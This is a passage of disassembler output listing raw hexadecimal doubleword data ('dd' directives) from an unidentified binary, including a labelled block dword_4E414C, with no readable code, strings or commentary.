		dd 0EC927D7Bh, 0B2745F18h, 0E699E560h, 760689A3h, 6468C0A4h
		dd 8A9B2240h, 2F7AC501h, 0BBA0D06Eh, 1666A086h,	0CB4480EDh
		dd 1C6C187Eh, 9AB65815h, 1D7FF90Fh, 327CA37Ah, 5D180009h
		dd 0E06692C0h, 58973F40h, 23162864h, 0BA7B0094h, 0E25380A6h
		dd 32618545h, 8C069558h, 0A9744851h, 4820E80Ch,	4940A13h
		dd 0C0D891h, 79BA9256h,	1D53FA7Dh, 788CC874h, 8B008368h
		dd 1C5048B6h, 0E5406028h, 1B6818D3h, 0BC72F1C7h, 411CC800h
		dd 0CCF6BED9h, 94603E12h, 97FC5D01h, 894B3304h,	20DF8590h
		dd 0DDD7670Ch, 97150027h, 1600594h, 481B0A98h, 3A59DC21h
		dd 0EE407630h, 4387E61Dh, 3B54C100h, 7419F5h, 0C4094148h
		dd 40B9B1Ah, 4B294400h,	855372A2h, 96E807ABh, 0B32521A9h
		dd 5978E41Ch, 0ADBE4E00h, 0A9B392BDh, 7AF35CAFh, 0DD9CF700h
		dd 1648352Dh, 30591501h, 733A9671h, 0B4A520h, 0B51E5283h
		dd 0CAF65EE6h, 3E60F50Eh, 0A0096F07h, 1F947AEFh, 8069DEFDh
		dd 0EB46704h, 4E00A0F3h, 0F4A91396h, 1DDAB15h, 0AA6D9C83h
		dd 0D8DF6B97h, 353DA410h, 2800F83Dh, 4B6F44A9h,	14C64126h
		dd 0B545F66Ch, 1FEA8300h, 0AF462D25h, 0DC36FA03h, 0C711F4C8h
		dd 1E488DC0h, 83670E82h, 95806C1Ch, 8018DE4Ah, 342F7B7Ch
		dd 0CF5D63Ah, 48291C26h, 7DDFCE88h, 57240062h, 28175CF0h
		dd 450163DDh, 58EC6E37h, 8440319Ch, 1C5FC205h, 8EBD1D03h
		dd 36015460h, 70D7CAC6h, 0D001E64h, 0AFCD8C7Fh,	171B5FFDh
		dd 1F80764Ch, 5243402Eh, 3D9F95F8h, 0C9E35900h,	7AF0CDC0h
		dd 9663001Bh, 69E211Fh,	0B0000E26h, 0A6AB5BE5h,	7A3031Dh
		dd 77736BBEh, 60F17071h, 24002B62h, 42C6F32Fh, 0B69F82h
		dd 0FB19B4CFh, 3C20495Fh, 48313400h, 5AEBEEDAh,	2494A02Eh
		dd 2AC5006Bh, 0FA21889Bh, 61FC775h, 3183EEE1h, 0A0E99A72h
		dd 808D53h, 0F87E2162h,	1DF3CA5Fh, 160F2C0Fh, 0F9770029h
		dd 791E99h, 0F53AE9DEh,	0C7D95745h, 0DF5BD200h,	0BFF4E4A0h
		dd 0C4E205EDh, 0C07397F3h, 2555AF8Fh, 8F8EF600h, 0F0CEC589h
		dd 0E9072FCh, 97AD2B8Bh, 1020272Ch, 0DD181607h,	0E5906112h
		dd 430A08h, 0C1973C73h,	0CB05765Bh, 189038h, 0A17A82A9h
		dd 0B801E4h, 0C7E1EC37h, 52F1DF51h, 0AC133800h,	411FCC2Eh
		dd 0BE360027h, 0D9C4464Ch, 0DA002515h, 486BDF2Ch, 0B3C5AAh
		dd 0B1BEDD9Dh, 0A71316E3h, 0B0CB601h, 0C225D644h, 2ACDD0h
		dd 6304148Ah, 8B4A66F4h, 0EA427800h, 0DA7B8312h, 3BD3007Dh
		dd 8A793533h, 663DAAD5h, 8FF78054h, 254E132Bh, 0CD2400E9h
		dd 0BF40058Dh, 0CB005498h, 0D9E303DBh, 0E1B3BAh, 23AB4D18h
		dd 0B2A78489h, 0CC2806E4h, 302EC829h, 95009E46h, 0A57A3926h
		dd 6E583B31h, 1A0090C8h, 7B05F716h, 0D70243C6h,	5B20A062h
		dd 69C680F6h, 0F29EF5DFh, 7DFC0075h, 0B227FED4h, 0A7B88D58h
		dd 42954E04h, 0D9C0E363h, 242307D2h, 168ABE4h, 7BEF7953h
		dd 164B609Ch, 73CD8400h, 5C6BD6CFh, 0A2EE8Eh, 2B5193D9h
		dd 7DACF31Dh, 1B37AD00h, 572A0812h, 16EC0FFBh, 0A820D294h
		dd 0C4E9AE8Eh, 0C2638000h, 0A067A1DBh, 0B5FC0691h, 0D053E24Dh
		dd 0E80003F0h, 0E30CD20Eh, 3794E1EAh, 30E055D6h, 0F0525B6h
		dd 0C991FB00h, 0BD7212E7h, 607F005Fh, 51A55024h, 990778DBh
		dd 15B8B094h, 7766FC82h, 0BCC2AD00h, 0E6EC7F4Fh, 0FDD00100h
		dd 0F55BCD71h, 490500B8h, 0C0D2FE13h, 82008D4Dh, 0A342638Ch
		dd 3C73D5DDh, 3B008E3Dh, 5CC8DECDh, 0B50CF6CBh,	0B815ACCAh
		dd 0E63D1CA2h, 75FC8239h, 0FC409C30h, 0F2008EDDh, 8C021EF8h
		dd 6DF6E4Fh, 6DD440B5h,	6B0098E3h, 0B7FFF596h, 336070h
		dd 0E12DA572h, 825DD44Ah, 9DD16E01h, 50031A8Ch,	394B120h
		dd 10CF435Eh, 68D82F74h, 0B801EAA2h, 4CD5470Fh,	9C302013h
		dd 0E5EC7Bh, 0D7FAB6AFh, 1AEA9E77h, 0FE94D23Bh,	14001D7Ch
		dd 582E7DF0h, 4C745087h, 5D0EE039h, 6207D815h, 1B7BD02Ch
		dd 3B384243h, 0E7D6055Ah, 5EC00D87h, 18C6823h, 0C59D749Ch
		dd 0C9F48F27h, 6A55F8B2h, 60B638CFh, 239F7558h,	0C1990FCBh
		dd 9C0553h, 0CE35ECD2h,	0DF000CA7h, 360B2B3Fh, 1EA5E845h
		dd 40C3C6B2h, 2AAA3A4Ah, 0B00175E6h, 63CEECF1h,	49200826h
		dd 0E95260E7h, 0A5FF7E3Eh, 1BD2A61Eh, 0A82FDFC0h, 4870F37Bh
		dd 8B00B183h, 385DCD1Eh
		dd 6B002D51h, 6D05EA4h,	3DAD7F6h, 6C1AFEF8h, 0A1DFE720h
		dd 20AE1026h, 790EA064h, 4084023Ch, 83BD337Dh, 0D9280029h
		dd 0AE1EC0AAh, 3E008235h, 0D374DD46h, 33F1055h,	0C35F5D63h
		dd 0F9818FCFh, 0EA2AF851h, 0A9F5DE07h, 233D799h, 0ABB1A0FEh
		dd 0A119001Eh, 5C3E70A2h, 820E3885h, 60C16B1Ch,	7F2C173Fh
		dd 1CFF5869h, 0B38C073Ch, 30480203h, 0EA0098EAh, 35A31140h
		dd 38BFDC53h, 9E3D3D95h, 6F3B8880h, 670A5A4Ah, 2B8E2700h
		dd 3279A1BEh, 1B2A0059h, 0A53A0EAFh, 0E60CD615h, 56EE61AEh
		dd 0BBA102B5h, 0A34449A8h, 30C27041h, 9D00E004h, 28F5C301h
		dd 0F09637Ch, 7FBC8B05h, 641E6B80h, 9201FD85h, 0A1CE3BE6h
		dd 0DFD2ED1h, 0D2F7C0h,	1AFA72B4h, 1F2F84C3h, 133C7400h
		dd 64507695h, 77D7D61h,	9429C0BBh, 50D0E7FFh, 0D114971h
		dd 0F54ABE1Ch, 2592B980h, 9907A4h, 7D647E5Dh, 0F678147Ah
		dd 0C549C805h, 0A2009C32h, 219219C3h, 7A50004Bh, 9BECA362h
		dd 840080E4h, 0C7D60331h, 4E37DCh, 25107C81h, 38DA7616h
		dd 9C383CFCh, 0AEE380ECh, 0CB40F4F0h, 1479093Fh, 0F820B2EBh
		dd 1C94A936h, 0B8C04E00h, 627D2456h, 669500ABh,	540544F0h
		dd 775BB5Ch, 0F740CD00h, 6781120Dh, 0E82000BDh,	9A8AAE7Ch
		dd 0E70E92D1h, 5EB73C4h, 7CD07A2Ch, 3C8C59h, 96F346ADh
		dd 97609A76h, 10C4CD1Fh, 0F0072816h, 884085AEh,	7C727123h
		dd 4E0C09EBh, 8C031461h, 0F0E72CA2h, 1FC8B50Dh,	26965B01h
		dd 167CD09Ah, 67254080h, 0C6FBCA23h, 93E1CF01h,	0AC9994F2h
		dd 0A81498E2h, 0D82474AEh, 67C56859h, 0D7662C00h, 360D529h
		dd 4C61501Eh, 404748E2h, 0AD720C0Ch, 0EB066D30h, 811AB9Dh
		dd 708A2849h, 0FEA20030h, 14803929h, 95745855h,	0CE1AF403h
		dd 0A816F56Bh, 2E7DC040h, 7E8EA5Ch, 0FE78729h, 0E1AA7660h
		dd 6EA475Dh, 0E0E93B00h, 7CC4243Ch, 4C123C39h, 14DA8200h
		dd 4A748A4Fh, 0EE5D7800h, 0EAD845A2h, 0FEDD0030h, 1AC00CD1h
		dd 6C0C4686h, 8CC8426Eh, 5BA0C02Ch, 0FACE4331h,	0A07A5A00h
		dd 98130CA6h, 44334C2Ah, 0C8D626h, 0EBABFE8Bh, 0B4386637h
		dd 0BBC50083h, 0C9887711h, 3FDA00FFh, 0F1F7039Bh, 84B0C713h
		dd 0E5689900h, 0CFD164FAh, 4D3F007Dh, 4B1E90A5h, 93009D35h
		dd 0FD327226h, 0D9D1EAh, 8EDB2E36h, 0ED79E2CEh,	0BA82DF01h
		dd 0E9A4676h, 1669CE4h,	145D286Ah, 0F4B18BCCh, 85034918h
		dd 0A50F95B0h, 0E775C8F8h, 0AE2E0066h, 0D12C87A2h, 207FE078h
		dd 0E8000790h, 0B19522B9h, 165F22Ah, 58C0ECF3h,	0DC0ACD38h
		dd 7507C73Eh, 1D56EFEBh, 616B0591h, 251F830h, 951C5971h
		dd 80C0FACBh, 697F659Bh, 0F7C2B700h, 0AEA3A509h, 0F53200FBh
		dd 5A83A84h, 0F30996CFh, 13E1F9h, 6F906BB8h, 0D9F27Ah
		dd 629E3483h, 0C0DBF3EEh, 144CCE12h, 421D2000h,	52C202h
		dd 56EB5F7Ch, 603810B6h, 3F7A213Ch, 6BB3059Bh, 8C7D8C0h
		dd 0EAE4490h, 61250433h, 9050D03Eh, 734F1F44h, 622B9900h
		dd 40F6FF14h, 1FB17734h, 0C0EE8568h, 0C2699767h, 7A00B43Ah
		dd 0F78B0FBBh, 9E5D74h,	0D0290C2Eh, 88C46D5Fh, 2C704C7Fh
		dd 8099653Eh, 1F351986h, 0B90D90h, 8E2ECABEh, 0B7C30B81h
		dd 0E7F3658h, 0EB3D96A6h, 0CF340F03h, 8C34C0ADh, 1D0E820Ah
		dd 2D6DBBEh, 0D8D40B29h, 60F1FE60h, 0AD581D00h,	6BC846D7h
		dd 0D0F507BEh, 40F0431h, 2634B076h, 0E11F92F0h,	0DFC5E0E5h
		dd 0AC0FD85Dh, 0BC40D281h, 5A7F24AFh, 0C83000Dh, 0DDDCFCF1h
		dd 2FFE11C5h, 952BD024h, 4FDB7A00h, 53FB50h, 0F998092Ah
		dd 5B68416Eh, 12B18A00h, 51F5585Ah, 20942879h, 981010B0h
		dd 20525123h, 0CAEAC8D4h, 93EC6900h, 0BE17AB09h, 0D85B5D9Bh
		dd 0A0C97E00h, 89C68818h, 0F88F230Eh, 96976095h, 6FFF56h
		dd 0FC6DED98h, 0EFE90243h, 0D58E0B07h, 0DBA06A42h, 3A9F0BCh
		dd 8DBB690Eh, 2EB8ABE6h, 5001B75h, 7C433FBFh, 0D57330h
		dd 5063B511h, 475CAA5Eh, 5CF1F926h, 24FF2580h, 0F0E077Eh
		dd 0A658B3E6h, 0D5C38642h, 88A3E8E8h, 0A96B4800h, 0D9FFAE6Ch
		dd 9F18C09Bh, 9843F354h, 0BE0028FCh, 80F53EADh,	2E3A4Ch
		dd 0A5DEB933h, 67D5FDBh, 6C043801h, 298E4BA7h, 31A71F8h
		dd 0E3EDFD39h, 2B886213h, 7B001879h, 7DD52FFCh,	0C6B6B0h
		dd 8DA0A791h, 0E452D6BBh, 0A818B307h, 96000B58h, 610D886h
		dd 70C51B34h, 0D600C162h, 0CCE9806Ch, 98DE11B5h, 39797B07h
		dd 0A33C62F0h, 6CAE381Fh, 5EA60048h, 0F1B12148h, 950F1500h
		dd 0C84AC4AFh, 0E8E40075h, 51D82033h, 0CBADCE7h, 7AB521h
		dd 47FE525Dh, 0A61C9B61h, 0B8DD3049h, 8F638E0Eh, 6846203Bh
		dd 0E5991h, 99B71F8Ch, 0F14509E5h, 0B1FD5200h, 15AE3366h
		dd 0E9B500DAh, 72AFA592h, 0CF00B05Eh, 0B4CD025Ah, 0C64B28h
		dd 0E59ECBEDh, 919D1204h, 8F71DE01h, 0F0F8B4D6h, 1CA661CCh
		dd 34369A8h, 0EEC7D4C3h, 4EF84654h, 0B404DCF2h,	0D0CA7F9Ah
		dd 10634081h, 28EB9C8h,	0D2A620A1h, 0A4481AE6h,	0B6006C3Ah
		dd 9D300439h, 0C0F340B0h, 0BF6A9B18h, 59C9D1FDh, 0F700CB50h
		dd 62DA8D00h, 5A0E002Ch, 3D927F84h, 0F10E6AABh,	0A05649BDh
		dd 0C3078BFEh, 47FB0082h, 937289FFh, 1600AB2Ah,	520B7867h
		dd 76F9DAFh, 3317CA5Eh,	3BADD0FCh, 1B073157h, 0DED21542h
		dd 41658E80h, 0CBB6034Eh, 0AFE43814h, 48CAA6B8h, 0F87BF209h
		dd 0BA31005Fh, 118435h,	0E0012E2Ah, 71081D94h, 0C7EE971Dh
		dd 6300F413h, 79D1356h,	276005Dh, 0A1429983h, 7A00C9E2h
		dd 3E9E5BA7h, 3E1CF6FCh, 918929EEh, 78E07DFDh, 0D00E2F9h
		dd 9CDCC9E0h, 0BB9DF57h, 3CECE8A1h, 3D9ADB00h, 0FF0079E6h
		dd 3FEA985Ah, 10DDF8Dh,	58B5D3C3h, 82A76FCAh, 4334AC18h
		dd 0F1106BE1h, 60C0A621h, 132B07D7h, 0F08DFE63h, 0BE26C68h
		dd 40A30C01h, 0BB1B37AFh, 78AEF820h, 817A0039h,	5B6268A5h
		dd 7601F2F7h, 183A6967h, 31879FB2h, 0C040EA8Ch,	1E3B61DAh
		dd 82B6953Ah, 9F5686E7h, 7C54E3h, 66089676h, 4F0B7798h
		dd 626DD2h, 0D953AC0Ch,	0E8910FC5h, 94631A9Fh, 87D5AD28h
		dd 47BDF0F4h, 55002699h, 0D1A1B0FDh, 84B298h, 0EB25D03Fh
		dd 885748EDh, 0BA798A0Eh, 2EC70060h, 25B7E440h,	380BC8DAh
		dd 69C23202h, 50030CE0h, 60003C9Ah, 2A0F3E22h, 3F31D8D2h
		dd 8D8FDFCEh, 8B01BE29h, 70D18656h, 0F600EA84h,	4E676DE2h
		dd 78E7EC8h, 0D51FCB88h, 0A2964319h, 0D5C03D8h,	0A93DE100h
		dd 601ED7DAh, 6D8A2239h, 0A0A82512h, 2B880491h,	0C43A3C28h
		dd 5D634E08h, 9770B480h, 30AB47E8h, 943116BBh, 5D06110Ah
		dd 6B3901C0h, 4E170008h, 92C626EDh, 20B8CCA3h, 0AB3CC800h
		dd 7E2C151Ch, 18A0044h,	0E794A903h, 72003665h, 286F661Eh
		dd 0C347D6A0h, 0E88C2D98h, 0BB2306D9h, 80BEBE58h, 2C385A14h
		dd 0F2EE51A0h, 0C83600BDh, 612EAD6Fh, 301297B6h, 0A891E7C4h
		dd 2841D0A0h, 0A88E585Dh, 1C8051C1h, 0D1AB876Bh, 522310A1h
		dd 2AE0BA1Ch, 2A006970h, 0A0F518D0h, 1298FEC1h,	88CB628Ah
		dd 0A3E0B958h, 7A93C24Ch, 0CE820800h, 37767552h, 6A3D00D6h
		dd 0D5E05E06h, 612C55D2h, 0E90B6359h, 5BFA8076h, 35824686h
		dd 8658A7C6h, 4B3B8079h, 2A7F0120h, 0D3510A4Ah,	89D9D8h
		dd 3AA2382h, 0FA1F3306h, 0BB019871h, 0D0CE933Ah, 26D030D3h
		dd 54380707h, 20A42D0Fh
		dd 80AE299Fh, 63835A1Dh, 82C77C87h, 0C3FDF900h,	71213C97h
		dd 40731392h, 5F4D22CCh, 0F400EF3Ah, 7268AD66h,	7E7C094h
		dd 3E74524Ah, 1AAB4363h, 5DFE65B8h, 0F2713400h,	9D45CB4Bh
		dd 31020025h, 4803E2DEh, 7B012D30h, 85A68204h, 368040B7h
		dd 2488995Ch, 3201C781h, 5E20ED7Bh, 0DA207F26h,	3845008Fh
		dd 0C3892EB4h, 30C1628Ch, 3E19A035h, 6786D4h, 0B6C1B3F3h
		dd 2CD955E7h, 5958BE30h, 3828EAAh, 0DD1B7E1Eh, 0F4B098A5h
		dd 7500DFB7h, 3C69013Ah, 39FF959h, 62BD6513h, 2CB01D11h
		dd 0BB00E166h, 0CED8F235h, 0F2B61CA1h, 0DC92003Eh, 230AAE71h
		dd 29030B28h, 0F31D50ABh, 9D1900B7h, 0CE846441h, 10009E3Ch
		dd 19E5148Ch, 6006BDDAh, 0A4DE501Dh, 0FB00AF3Bh, 6CC0BB2Ch
		dd 0E863C3h, 4AA855D0h,	176BA24Fh, 3D0249E4h, 5E2DDE5Ah
		dd 0E402406Ch, 3B2E021h, 62116347h, 0FA90DA6Fh
dword_4E414C	dd 4F00CD67h, 742D465Eh, 557CF5h, 0AB4B8038h, 5BB35B4h
					; DATA XREF: ___:off_42DE44o
		dd 86595400h, 71034A11h, 7AB80B7Ch, 2600EA60h, 0E5C294B1h
		dd 3C9F8B00h, 0AFBC48CCh, 0F980C053h, 94B6F051h, 0C890AE07h
		dd 217FB7CAh, 1D3E0B29h, 98237260h, 7A9A3966h, 7B02897h
		dd 0E0DB5B1Fh, 87E997Ch, 1CE5EB3Ch, 4452D349h, 16A15400h
		dd 7906CFh, 0EA956B23h,	0E0944D39h, 0EFB9E302h,	0E0C64560h
		dd 0D785C4h, 59CC99B4h,	0A85441CEh, 0DB007F7Bh,	0EDCB1A03h
		dd 0AEC06F0h, 335CA7EBh, 0D0B504B8h, 0A2660416h, 304DC01Eh
		dd 43DF6A27h, 23336700h, 0A3DAF279h, 7BEE29h, 1B060885h
		dd 0A5AD84Ch, 8AFAF70Fh, 9701A009h, 1FF2BA67h, 0FC5D1C93h
		dd 0B833EA00h, 44E161Fh, 0C0D3D20Ch, 0C4D9D5h, 7621BBDCh
		dd 3C7FBDAFh, 0E8DAA800h, 0E35A4504h, 5B3B00CBh, 0AF069DA6h
		dd 0A100AD73h, 0B44960B8h, 0D62837h, 90DDF032h,	6E6A2FD7h
		dd 0C6003F71h, 3AA37C66h, 513D70h, 0E98C3142h, 0F50E08BEh
		dd 0A4006FEAh, 0F401A3C9h, 24C166Ch, 0E4AB28C5h, 4940FA1Ch
		dd 37008B7Bh, 4FD00329h, 0FCC6A8h, 4235F58h, 0C85634B3h
		dd 57A95001h, 3EED2553h, 0C54DC0h, 0AD74036Fh, 9844643Ch
		dd 0C71FD6B8h, 0ED40FC4Eh, 0A8B05E4h, 0A61900F3h, 13B01AE1h
		dd 0EF3E3C27h, 0D8710014h, 2D37A10Dh, 436505F9h, 5C693496h
		dd 8676C798h, 2FF2301Ah, 7D00427Bh, 0C7B19772h,	41396Dh
		dd 0AFC2A098h, 67F920E0h, 2E93D200h, 9546C7F2h,	9EBF00B1h
		dd 48758C24h, 4006A7Ch,	9B6E787Fh, 1282AB89h, 1AF84279h
		dd 9E60CA88h, 0BF01F17Ch, 95EAF984h, 11F89450h,	1F210713h
		dd 0D0967F8Bh, 0C8D8B56Ah, 44909D7Fh, 0FB915204h, 0CD3D007h
		dd 7C318026h, 48020046h, 0D3B5DD97h, 0AE05605Bh, 1EB06BB6h
		dd 1CF52F80h, 0EA9A0692h, 10BA9668h, 62DA7CA0h,	0B95C7A03h
		dd 0C84C3789h, 3D0CBBh,	5B15B4FDh, 0ED5EA24Bh, 43C830C3h
		dd 43D88AA1h, 0A9099830h, 5E940095h, 774738E1h,	8F00D4A3h
		dd 280AD903h, 959D75h, 4BA2B62Ch, 46AD8A8Dh, 73E3A501h
		dd 85D229A9h, 9D9FE0C7h, 71BD00A4h, 511B0A90h, 0BC00B3DAh
		dd 8858649Bh, 8C9DE3h, 19F5544Ah, 0D9E039A8h, 0D0006CECh
		dd 4B6ADDECh, 1CB2152Bh, 0C33CDBA6h, 0FB5778A5h, 89E9D7F0h
		dd 48269EF6h, 5C807CBEh, 0CFC98EA6h, 9F58025Ah,	78CAF8B5h
		dd 37BB8EC0h, 0BE000473h, 51BAD0D5h, 0B0A2FF6Bh, 0DFFD00C7h
		dd 314A1D12h, 7E01712Fh, 4E2936B2h, 0F4DC4727h,	4F04009Ah
		dd 0FC0AF88Bh, 0AD02218Ah, 6CE5E4D3h, 0A7FA8F1Ah, 0B6432646h
		dd 0BAEAD0D4h, 1C9A005Ah, 0B907F78Ch, 5400BD2Fh, 89D57443h
		dd 503B8104h, 7D4DBC1Fh, 49580018h, 63FA55D7h, 0A501BFC0h
		dd 35CF6BF7h, 9BE8D653h, 3E272FFh, 87D57549h, 7FE8E559h
		dd 742C9088h, 9100FCA3h, 7C6898AEh, 7EB40003h, 3B994A15h
		dd 0C101EF16h, 262CB3BAh, 0F450CA42h, 46D166h, 2A25E6BBh
		dd 5D702E53h, 44105201h, 0E1BD5929h, 30E5AE8h, 0C16D2578h
		dd 0E8F0EF67h, 15001DB0h, 1BEBB2D0h, 19588CEh, 6E5EDCE3h
		dd 35A29252h, 0E136F090h, 7F54E4Ch, 8D4DF34Fh, 0D214AF77h
		dd 2D9D7491h, 0E19B4D8h, 0C15EBA34h, 9340E687h,	0D1C3CEDBh
		dd 0D81A4BE1h, 50E49B4Dh, 64E89026h, 949A300h, 1CE22D96h
		dd 0C61A43B6h, 58F015B9h, 0F22001F0h, 0F1D26186h, 0D43A72B7h
		dd 64005EDAh, 0B5D9B44Ah, 0D25788h, 624B8B32h, 42AB4F18h
		dd 0AC064EF6h, 0C9E15823h, 8C570040h, 0F16999A2h, 81745A55h
		dd 23108900h, 42CC4936h, 15EE8DFh, 1DAF61DEh, 0D0E65421h
		dd 8C0044A5h, 45E4D6E1h, 1771708Bh, 832E3Ch, 0F6D1A64Eh
		dd 0F097DCCBh, 0F5B70034h, 0B3B01FFFh, 4500579Ah, 0B1D3682Bh
		dd 3F917C51h, 0F5A55Bh,	4DF6B4A4h, 0E40A796Bh, 0EAE2B100h
		dd 8005060Bh, 0CC540112h, 27CA281Ch, 466AD448h,	3942F60Bh
		dd 36F88755h, 0E8DE3543h, 0E97E16h, 78EDE8D4h, 7C20C4B4h
		dd 89B8170Fh, 8F007D4Ch, 1151373h, 0EED60038h, 0A70709F2h
		dd 11016A66h, 9CDDA4A3h, 0BEECB0FFh, 7993071Eh,	31612926h
		dd 0E9A45296h, 0A12BF05Ah, 0CB318C15h, 57EE00C8h, 12018B5Ch
		dd 481418F9h, 319D08E2h, 0B59068B8h, 23455C00h,	0B60D0C86h
		dd 0B9A60020h, 4D1703E8h, 0C5003B2Ah, 1D83CD32h, 0BA156693h
		dd 0B0410084h, 915EB616h, 8624D235h, 0A1804D9h,	887421h
		dd 0A85FB018h, 2EFBF59Fh, 3E412B00h, 3C569354h,	992D31BDh
		dd 0E401B889h, 2C007F6Ch, 0C1594C36h, 213DA4h, 8606580h
		dd 0CFB24EF4h, 7C170B0Ch, 0C7E0B6h, 0F70252C9h,	22B5AFB0h
		dd 0F4687FEEh, 0CE9980B0h, 0B51888B8h, 5E6811FAh, 4915CB0h
		dd 188DE105h, 0E41882ABh, 49013443h, 57F885C0h,	60066207h
		dd 0C1BC9F04h, 0E080E8C2h, 73FE0B32h, 53E4002Ah, 3DAAB513h
		dd 90C02DEFh, 1DA81220h, 0A8C4523Fh, 0B400C723h, 0B15E1216h
		dd 48808537h, 40C1188Ch, 1FE0F8BFh, 83C7975Ch, 0C84CC04Fh
		dd 3E4EF101h, 9CCEAABFh, 0A0C95AD4h, 8F4F98h, 10BC5E0Dh
		dd 0F113920Eh, 48C38500h, 1F995B4Bh, 0E63B1D0Bh, 1CE18044h
		dd 4DB4BC3Fh, 1107D2E8h, 5C181D66h, 75B00369h, 0E0C2C39Eh
		dd 0C43FDEF6h, 48D30C28h, 224A444Ch, 736210CAh,	84B0F640h
		dd 0C077E939h, 10DF447Eh, 88847444h, 2E0081D9h,	0EA3EC98h
		dd 50606Ah, 57DA6748h, 7B8D41Ah, 0A5795A00h, 70195CAFh
		dd 62E30078h, 3DBED997h, 203B946h, 0F54573E8h, 0BAB79048h
		dd 43F4CD8h, 0E4AEA900h, 0A67FE8BEh, 0D7147D00h, 2E15E288h
		dd 1B7A00DAh, 0E68C6E8Fh, 8707F95Ch, 12C089FAh,	0DD194730h
		dd 0ACB6009Bh, 62ED385Dh, 0A801266Bh, 0E8CC3D46h, 71E0F7BFh
		dd 0C9B50045h, 1F8D62E5h, 7200176Ch, 74944953h,	1E4BF93h
		dd 2E0387DCh, 30D1AAB8h, 9701FEC3h, 28664CF6h, 3DCC827Eh
		dd 0D4EEDEh, 18B7B017h,	0CEAEED22h, 0CF008CF6h,	0F4C697C8h
		dd 0F01C6C51h, 15421FD0h, 25001EDh, 0D0C596F0h,	0BC1CD80Ah
		dd 0C0408E88h, 381F497Dh, 8DD20023h, 0E9EB08CBh, 8975136Eh
		dd 0F56D0A00h, 39BCDDA6h, 39107A9h, 0DC4C8231h,	410DD470h
		dd 40239B05h, 0BF15ED8h, 97DB9C2Fh, 720B180h, 0C7008FEAh
		dd 0DC409DB2h, 0A15437D2h, 0B0C4D0F6h, 79AF1D53h, 96F30041h
		dd 0DA314775h, 0A74090Bh, 7A5300A7h, 1779449Eh,	1BB787Ch
		dd 91EB2BAEh, 0D5EFC34h, 0C70042F6h, 0A23E2085h, 1F5FC246h
		dd 0FE235B0Eh, 8D8F2500h, 9886B8B9h, 190FB607h,	809E60A4h
		dd 0FC110CB2h, 26990005h, 1652939h, 20008359h, 0EC027F77h
		dd 452D5Ch, 9A92197Ch, 80E39FB4h, 667B6300h, 0A230749h
		dd 78789FA4h, 5161BA00h, 0CFD7B810h, 0E760011h,	723CE5C6h
		dd 817CEB14h, 3B007090h, 88EFEE71h, 2C1C9F03h, 0C66D63h
		dd 0CD84C5D8h, 0F8008C36h, 8785A206h, 1E2576h, 0ED5EE91Ch
		dd 0BBE50AAFh, 0D67F6B00h, 0F69BE30Fh, 711CF879h, 407512A0h
		dd 46E0073Ah, 24D3D057h, 150062F9h, 7A260966h, 325571h
		dd 346830DFh, 88F01D9Ch, 80A2FC39h, 0DB802240h,	0E3D4D96h
		dd 0A9F389D2h, 0D40C5E60h, 0E7B1478h, 0A61B9B00h, 0E3E6294Bh
		dd 0E5750013h, 0E9190243h, 0C909ABAEh, 2858F7h,	0BA1A310h
		dd 1A7A00F0h, 0CC2E7CDh, 0DC2C7312h, 9200F49Ah,	5B2B6D07h
		dd 3FCC07AAh, 50392381h, 8724C229h, 22248A79h, 6C8410A2h
		dd 608015EFh, 9D4B56h
		dd 67F27C0Ah, 5A477F9Ah, 0F9EC40E7h, 12E0701Fh,	0E650E200h
		dd 6DC88196h, 6CAF001Bh, 5CBD8A49h, 0A21DD2CAh,	0BA00E264h
		dd 2D0886B0h, 0FB6700DAh, 3B6E4DA0h, 4D98E7F5h,	6337200h
		dd 0A86E2E1h, 0D4EAECh,	0A21ECA80h, 0A977F8B8h,	780030E8h
		dd 6E29DA01h, 1DAD62F3h, 40FD863Dh, 0E017E224h,	0C1B0133Fh
		dd 0A35D0814h, 470D80F4h, 1DC290B0h, 0DC6DC4h, 58A6B8E6h
		dd 0FF71343Fh, 0F8969230h, 7B025Dh, 0E9295310h,	0CC3705D1h
		dd 0E807E67Ch, 986F1C77h, 204AF070h, 9589008Fh,	1F3337D7h
		dd 8104A862h, 96AFA0EAh, 0F9468480h, 0C4482680h, 0C930084h
		dd 0FE9DE9E7h, 3A1D2603h, 9BE8EEA5h, 0C0F58AD7h, 2C65138h
		dd 0EC292E43h, 0D3C059FEh, 52247D62h, 1E00A09Eh, 4927CD2h
		dd 0BE133D40h, 0BB020A00h, 0E5D684F2h, 61153D00h, 5521D1DEh
		dd 0D8AA543Ch, 0F28000BAh, 0C223DBEBh, 0D70066A4h, 0DDAA7841h
		dd 0F95FD82h, 85682589h, 0B5CD09E0h, 11092BB9h,	2E16308Ah
		dd 4F3DC008h, 24404196h, 20CC52D7h, 0C21000E6h,	13FB77C7h
		dd 4A73597Dh, 8642B300h, 6AFFC8ACh, 2638023Bh, 0C06885F4h
		dd 84BA3060h, 0A1C92360h, 8716E5h, 3D11BC24h, 0AEEE425Eh
		dd 541A1300h, 8E79F40Bh, 73E30053h, 3775ABDDh, 0CF909289h
		dd 7E4F822Dh, 629900DCh, 0AB527C6Ah, 1EE4800h, 72467A17h
		dd 10A60009h, 3BAB6EBh,	4B004508h, 0AF4F27B8h, 0B0C25DAEh
		dd 7E941F1Ch, 43DB5E3Bh, 9687CE12h, 1CB099DBh, 1C9189E2h
		dd 905B8102h, 5D006105h, 0CD7BDC0h, 0C704B825h,	4E004FD1h
		dd 0EEA19633h, 0B5C963h, 0FB7DCEC4h, 5560AD18h,	0B102EC98h
		dd 0A8487E19h, 8024C050h, 76BA001Dh, 0F3667F81h, 0F100E30Ch
		dd 0F4DB532Dh, 0E09949h, 682CD465h, 3A6C3847h, 3D301B03h
		dd 88F36991h, 373CABh, 325C853Fh, 870AC038h, 5D23FB00h
		dd 0B0F84A82h, 8EC703ECh, 4994BFE7h, 664642E0h,	346EA500h
		dd 0A903F44Bh, 1CBD3DECh, 0D3807339h, 0E89C0690h, 9E01EED7h
		dd 0BB92C43Ch, 0E7208B98h, 0B613006Ch, 0D5C09129h, 731F96EAh
		dd 3380E067h, 0FC43CD89h, 950E30A1h, 1CE93811h,	0F80ED971h
		dd 604FB98Eh, 37E37C55h, 0FC21002Ah, 746BDA5h, 8162E4Eh
		dd 0A200A7D7h, 337AC636h, 745400B8h, 0B289117Ch, 9900CAC4h
		dd 0C0A5467Bh, 7FF008h,	0CE8E436Fh, 88BAD6D1h, 3F2A4807h
		dd 3CC15C79h, 0D30A8B7h, 545A0135h, 0E463DC90h,	0E349CC20h
		dd 0AAAC1F00h, 3B3D4B97h, 2ED8000Fh, 0C4455D0Ch, 95A0731Ah
